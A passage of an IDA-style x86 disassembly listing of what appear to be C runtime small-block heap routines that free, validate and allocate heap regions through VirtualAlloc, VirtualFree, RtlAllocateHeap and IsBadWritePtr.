[ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_4251B3 mov [ebp+var_20], 3Fh loc_4251B3: ; CODE XREF: sub_424FD0+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4252C3 cmp [ebp+var_20], 20h jnb short loc_42525C mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_42523A mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_42523A: ; CODE XREF: sub_424FD0+252j mov eax, 80000000h mov ecx, [ebp+var_20] loc_425242: ; DATA XREF: _2:off_44F830o shr eax, cl loc_425244: ; DATA XREF: _2:004546F4o mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_4252C3 ; --------------------------------------------------------------------------- loc_42525C: ; CODE XREF: sub_424FD0+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_42529A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_42529A: ; CODE XREF: sub_424FD0+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_4252C3: ; CODE XREF: sub_424FD0+225j ; sub_424FD0+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_4252D7: ; CODE XREF: sub_424FD0+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_4255B2 ; --------------------------------------------------------------------------- loc_4252F6: ; CODE XREF: sub_424FD0+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_4255B2 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_425347 mov [ebp+var_24], 3Fh loc_425347: ; CODE XREF: sub_424FD0+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_425490 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_42536E mov [ebp+var_20], 3Fh loc_42536E: ; CODE XREF: sub_424FD0+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_425450 cmp [ebp+var_20], 20h jnb short loc_4253E5 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4253E3 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4253E3: ; CODE XREF: sub_424FD0+3F9j jmp short loc_425450 ; --------------------------------------------------------------------------- loc_4253E5: ; CODE XREF: sub_424FD0+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_425450 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_425450: ; CODE XREF: sub_424FD0+3AAj ; sub_424FD0:loc_4253E3j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_425490 mov [ebp+var_24], 3Fh loc_425490: ; CODE XREF: sub_424FD0+37Fj ; sub_424FD0+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_42559E cmp [ebp+var_24], 20h jnb short loc_425538 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_425516 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_425516: ; CODE XREF: sub_424FD0+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_42559E ; --------------------------------------------------------------------------- loc_425538: ; CODE XREF: sub_424FD0+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_425575 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_425575: ; CODE XREF: sub_424FD0+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_42559E: ; CODE XREF: sub_424FD0+502j ; sub_424FD0+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_4255B2: ; CODE XREF: sub_424FD0+321j ; sub_424FD0+32Cj mov eax, 1 loc_4255B7: ; CODE XREF: sub_424FD0+8Dj mov esp, ebp pop ebp retn sub_424FD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_4F3A00, 0 jz loc_4256EC mov eax, ds:dword_4F39F4 shl eax, 0Fh mov ecx, ds:dword_4F3A00 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call ds:dword_4F54B0 ; VirtualFree mov edx, 80000000h mov ecx, ds:dword_4F39F4 shr edx, cl mov eax, ds:dword_4F3A00 mov ecx, [eax+8] or ecx, edx mov edx, ds:dword_4F3A00 mov [edx+8], ecx mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov edx, ds:dword_4F39F4 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, ds:dword_4F3A00 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_425672 mov edx, ds:dword_4F3A00 mov eax, [edx+4] and al, 0FEh mov ecx, ds:dword_4F3A00 mov [ecx+4], eax loc_425672: ; CODE XREF: _0:0042565Cj mov edx, ds:dword_4F3A00 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_4256E2 cmp ds:dword_4F3A04, 1 jle short loc_4256E2 mov eax, ds:dword_4F3A00 mov ecx, [eax+10h] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5414 ; RtlFreeHeap mov eax, ds:dword_4F3A04 imul eax, 14h mov ecx, ds:dword_4F3A08 add ecx, eax mov edx, ds:dword_4F3A00 add edx, 14h sub ecx, edx push ecx mov eax, ds:dword_4F3A00 add eax, 14h push eax mov ecx, ds:dword_4F3A00 push ecx call sub_420840 add esp, 0Ch mov edx, ds:dword_4F3A04 sub edx, 1 mov ds:dword_4F3A04, edx loc_4256E2: ; CODE XREF: _0:0042567Cj _0:00425685j mov ds:dword_4F3A00, 0 loc_4256EC: ; CODE XREF: _0:004255CBj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256F0 proc near ; CODE XREF: sub_423E20+44p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, ds:dword_4F3A04 imul eax, 14h push eax mov ecx, ds:dword_4F3A08 push ecx call ds:dword_4F546C ; IsBadWritePtr test eax, eax jz short loc_42571B or eax, 0FFFFFFFFh jmp loc_425D09 ; --------------------------------------------------------------------------- loc_42571B: ; CODE XREF: sub_4256F0+21j mov edx, ds:dword_4F3A08 mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_425742 ; --------------------------------------------------------------------------- loc_425733: ; CODE XREF: sub_4256F0+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_425742: ; CODE XREF: sub_4256F0+41j mov ecx, [ebp+var_120] cmp ecx, ds:dword_4F3A04 jge loc_425D07 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call ds:dword_4F546C ; IsBadWritePtr test eax, eax jz short loc_425783 mov eax, 0FFFFFFFEh jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425783: ; CODE XREF: sub_4256F0+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_4257D3 ; --------------------------------------------------------------------------- loc_4257CA: ; CODE XREF: sub_4256F0+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4257D3: ; CODE XREF: sub_4256F0+D8j cmp [ebp+var_C], 20h jge loc_425CCB mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_425816 ; --------------------------------------------------------------------------- loc_425807: ; CODE XREF: sub_4256F0+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_425816: ; CODE XREF: sub_4256F0+115j cmp [ebp+var_14C], 40h jge short loc_425832 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_425807 ; --------------------------------------------------------------------------- loc_425832: ; CODE XREF: sub_4256F0+12Dj cmp [ebp+var_4], 0 jl loc_425C6D push 8000h mov ecx, [ebp+var_128] push ecx call ds:dword_4F546C ; IsBadWritePtr test eax, eax jz short loc_42585C mov eax, 0FFFFFFFCh jmp loc_425D09 ; --------------------------------------------------------------------------- loc_42585C: ; CODE XREF: sub_4256F0+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_425880 ; --------------------------------------------------------------------------- loc_425871: ; CODE XREF: sub_4256F0+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_425880: ; CODE XREF: sub_4256F0+17Fj cmp [ebp+var_140], 8 jge loc_425A04 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_4258C2 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_4258CC loc_4258C2: ; CODE XREF: sub_4256F0+1C5j mov eax, 0FFFFFFFBh jmp loc_425D09 ; --------------------------------------------------------------------------- loc_4258CC: ; CODE XREF: sub_4256F0+1D0j ; sub_4256F0+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_425929 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_425918 mov eax, 0FFFFFFFAh jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425918: ; CODE XREF: sub_4256F0+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_42596B ; --------------------------------------------------------------------------- loc_425929: ; CODE XREF: sub_4256F0+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_42594E mov [ebp+var_14C], 3Fh loc_42594E: ; CODE XREF: sub_4256F0+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_42596B: ; CODE XREF: sub_4256F0+237j cmp [ebp+var_148], 10h jl short loc_42598D mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_42598D cmp [ebp+var_148], 0FF0h jle short loc_425997 loc_42598D: ; CODE XREF: sub_4256F0+282j ; sub_4256F0+28Fj mov eax, 0FFFFFFF9h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425997: ; CODE XREF: sub_4256F0+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_4259B8 mov eax, 0FFFFFFF8h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_4259B8: ; CODE XREF: sub_4256F0+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_4258CC mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_4259F4 mov eax, 0FFFFFFF8h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_4259F4: ; CODE XREF: sub_4256F0+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_425871 ; --------------------------------------------------------------------------- loc_425A04: ; CODE XREF: sub_4256F0+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_425A1B mov eax, 0FFFFFFF7h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425A1B: ; CODE XREF: sub_4256F0+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_425A36 ; --------------------------------------------------------------------------- loc_425A2D: ; CODE XREF: sub_4256F0+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_425A36: ; CODE XREF: sub_4256F0+33Bj cmp [ebp+var_14], 40h jge loc_425C6D mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_425A56: ; CODE XREF: sub_4256F0+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_425B9A mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_425B9A mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_425AAE mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_425AB8 loc_425AAE: ; CODE XREF: sub_4256F0+3A9j mov eax, 0FFFFFFF6h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425AB8: ; CODE XREF: sub_4256F0+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_425AE4: ; CODE XREF: sub_4256F0+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_425B0E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_425AFC jmp short loc_425B0E ; --------------------------------------------------------------------------- loc_425AFC: ; CODE XREF: sub_4256F0+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_425AE4 ; --------------------------------------------------------------------------- loc_425B0E: ; CODE XREF: sub_4256F0+3FDj ; sub_4256F0+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_425B23 mov eax, 0FFFFFFF5h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425B23: ; CODE XREF: sub_4256F0+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_425B4A mov [ebp+var_14C], 3Fh loc_425B4A: ; CODE XREF: sub_4256F0+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_425B5F mov eax, 0FFFFFFF4h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425B5F: ; CODE XREF: sub_4256F0+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_425B7A mov eax, 0FFFFFFF3h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425B7A: ; CODE XREF: sub_4256F0+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_425A56 ; --------------------------------------------------------------------------- loc_425B9A: ; CODE XREF: sub_4256F0+381j ; sub_4256F0+397j cmp [ebp+var_168], 0 jz short loc_425C11 cmp [ebp+var_14], 20h jge short loc_425BDB mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_425C11 ; --------------------------------------------------------------------------- loc_425BDB: ; CODE XREF: sub_4256F0+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_425C11: ; CODE XREF: sub_4256F0+4B1j ; sub_4256F0+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_425C34 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_425C3E loc_425C34: ; CODE XREF: sub_4256F0+530j mov eax, 0FFFFFFF2h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425C3E: ; CODE XREF: sub_4256F0+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_425C59 mov eax, 0FFFFFFF1h jmp loc_425D09 ; --------------------------------------------------------------------------- loc_425C59: ; CODE XREF: sub_4256F0+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_425A2D ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_4256F0+146j ; sub_4256F0+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_425C9A mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_425CA1 loc_425C9A: ; CODE XREF: sub_4256F0+590j mov eax, 0FFFFFFF0h jmp short loc_425D09 ; --------------------------------------------------------------------------- loc_425CA1: ; CODE XREF: sub_4256F0+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_4257CA ; --------------------------------------------------------------------------- loc_425CCB: ; CODE XREF: sub_4256F0+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_425CEC mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_425CF3 loc_425CEC: ; CODE XREF: sub_4256F0+5E9j mov eax, 0FFFFFFEFh jmp short loc_425D09 ; --------------------------------------------------------------------------- loc_425CF3: ; CODE XREF: sub_4256F0+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_425733 ; --------------------------------------------------------------------------- loc_425D07: ; CODE XREF: sub_4256F0+5Ej xor eax, eax loc_425D09: ; CODE XREF: sub_4256F0+26j ; sub_4256F0+8Ej ... mov esp, ebp pop ebp retn sub_4256F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, ds:dword_453BDC pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 0Fh and al, 0F0h mov [ebp+8], eax cmp dword ptr [ebp+8], 780h ja short loc_425D47 mov ecx, [ebp+8] mov ds:dword_453BDC, ecx mov eax, 1 jmp short loc_425D49 ; --------------------------------------------------------------------------- loc_425D47: ; CODE XREF: _0:00425D35j xor eax, eax loc_425D49: ; CODE XREF: _0:00425D45j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D50 proc near ; CODE XREF: _0:00424051p ; sub_426210+34Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch cmp ds:dword_451BC8, 0FFFFFFFFh jnz short loc_425D68 mov [ebp+var_C], offset off_451BB8 jmp short loc_425D8B ; --------------------------------------------------------------------------- loc_425D68: ; CODE XREF: sub_425D50+Dj push 2020h push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5418 ; RtlAllocateHeap mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_425D8B xor eax, eax jmp loc_425F2A ; --------------------------------------------------------------------------- loc_425D8B: ; CODE XREF: sub_425D50+16j ; sub_425D50+32j push 4 push 2000h push 400000h push 0 call ds:dword_4F54B4 ; VirtualAlloc mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_425F0C push 4 push 1000h push 10000h mov ecx, [ebp+var_4] push ecx call ds:dword_4F54B4 ; VirtualAlloc test eax, eax jz loc_425EFB cmp [ebp+var_C], offset off_451BB8 jnz short loc_425DFB cmp ds:off_451BB8, 0 jnz short loc_425DE6 mov ds:off_451BB8, offset off_451BB8 loc_425DE6: ; CODE XREF: sub_425D50+8Aj cmp ds:off_451BBC, 0 jnz short loc_425DF9 mov ds:off_451BBC, offset off_451BB8 loc_425DF9: ; CODE XREF: sub_425D50+9Dj jmp short loc_425E24 ; --------------------------------------------------------------------------- loc_425DFB: ; CODE XREF: sub_425D50+81j mov edx, [ebp+var_C] mov dword ptr [edx], offset off_451BB8 mov eax, [ebp+var_C] mov ecx, ds:off_451BBC mov [eax+4], ecx mov edx, [ebp+var_C] mov ds:off_451BBC, edx mov eax, [ebp+var_C] mov ecx, [eax+4] mov edx, [ebp+var_C] mov [ecx], edx loc_425E24: ; CODE XREF: sub_425D50:loc_425DF9j mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10h], ecx mov edx, [ebp+var_4] add edx, 400000h mov eax, [ebp+var_C] mov [eax+14h], edx mov ecx, [ebp+var_C] add ecx, 18h mov edx, [ebp+var_C] mov [edx+8], ecx mov eax, [ebp+var_C] add eax, 98h mov ecx, [ebp+var_C] mov [ecx+0Ch], eax mov [ebp+var_8], 0 jmp short loc_425E68 ; --------------------------------------------------------------------------- loc_425E5F: ; CODE XREF: sub_425D50+153j mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_425E68: ; CODE XREF: sub_425D50+10Dj cmp [ebp+var_8], 400h jge short loc_425EA5 cmp [ebp+var_8], 10h jge short loc_425E87 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dword ptr [ecx+eax*8+18h], 0F0h jmp short loc_425E95 ; --------------------------------------------------------------------------- loc_425E87: ; CODE XREF: sub_425D50+125j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov dword ptr [eax+edx*8+18h], 0FFFFFFFFh loc_425E95: ; CODE XREF: sub_425D50+135j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*8+1Ch], 0F1h jmp short loc_425E5F ; --------------------------------------------------------------------------- loc_425EA5: ; CODE XREF: sub_425D50+11Fj push 10000h push 0 mov eax, [ebp+var_4] push eax call sub_41E4B0 add esp, 0Ch loc_425EB8: ; CODE XREF: sub_425D50+1A4j mov ecx, [ebp+var_C] mov edx, [ecx+10h] add edx, 10000h cmp [ebp+var_4], edx jnb short loc_425EF6 mov eax, [ebp+var_4] add eax, 8 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0F0h mov eax, [ebp+var_4] mov byte ptr [eax+0F8h], 0FFh mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx jmp short loc_425EB8 ; --------------------------------------------------------------------------- loc_425EF6: ; CODE XREF: sub_425D50+177j mov eax, [ebp+var_C] jmp short loc_425F2A ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: 